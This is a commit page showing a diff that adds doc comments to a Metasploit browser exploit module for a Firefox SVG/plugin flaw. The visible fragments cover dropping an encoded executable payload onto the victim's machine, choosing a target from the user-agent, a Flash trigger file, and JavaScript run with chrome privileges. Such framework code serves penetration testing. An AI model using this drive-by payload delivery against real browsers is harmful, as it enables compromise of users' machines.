Skip to content

Commit eaeb107

Browse files
committed
Add some comments and clean some things up.
1 parent 978aafc commit eaeb107

File tree

1 file changed

+9
-0
lines changed

1 file changed

+9
-0
lines changed

modules/exploits/multi/browser/firefox_svg_plugin.rb

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -100,10 +100,12 @@ def on_request_uri(cli, request)
100100
handler(cli)
101101
end
102102

103+
# @return [String] the encoded executable for dropping onto the client's machine
103104
def dropped_file_contents(cli)
104105
regenerate_payload(cli).encoded_exe()
105106
end
106107

108+
# @return [Msf::Module::Target] that matches the client's user-agent header
107109
def get_target(agent)
108110
# browser detection
109111
if agent !~ /firefox/i
@@ -124,11 +126,13 @@ def get_target(agent)
124126
end
125127
end
126128

129+
# @return [String] the contents of the .swf file used to trigger the exploit
127130
def flash_trigger
128131
swf_path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0758.swf")
129132
@flash_trigger ||= File.read(swf_path)
130133
end
131134

135+
# @return [String] the filename that will be used when the payload is dropped
132136
def payload_filename
133137
if target.name == 'Windows x86 (Native Payload)'
134138
"#{Rex::Text.rand_text_alphanumeric(8)}.exe"
@@ -137,6 +141,7 @@ def payload_filename
137141
end
138142
end
139143

144+
# @return [String] containing javascript code to execute with chrome privileges
140145
def js_payload
141146
%Q|
142147
#{js_debug("Injection successful. JS executing with chrome privileges.")}
@@ -167,10 +172,13 @@ def js_payload
167172
|
168173
end
169174

175+
# @return [String] containing javascript that will alert a debug string
176+
# if the DEBUG is set to true
170177
def js_debug(str, quote="'")
171178
if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end
172179
end
173180

181+
# @return [String] containing javascript that will chmod the dropped executable
174182
def chmod_code
175183
return '' if target.name == 'Windows x86 (Native Payload)'
176184
%Q|
@@ -189,6 +197,7 @@ def base_url
189197
"#{proto}://#{myhost}:#{datastore['SRVPORT']}#{datastore['URIPATH']}"
190198
end
191199

200+
# @return [String] HTML that is sent in the first response to the client
192201
def generate_html
193202
vars = {
194203
:symbol_id => 'a',

0 commit comments

Comments
 (0)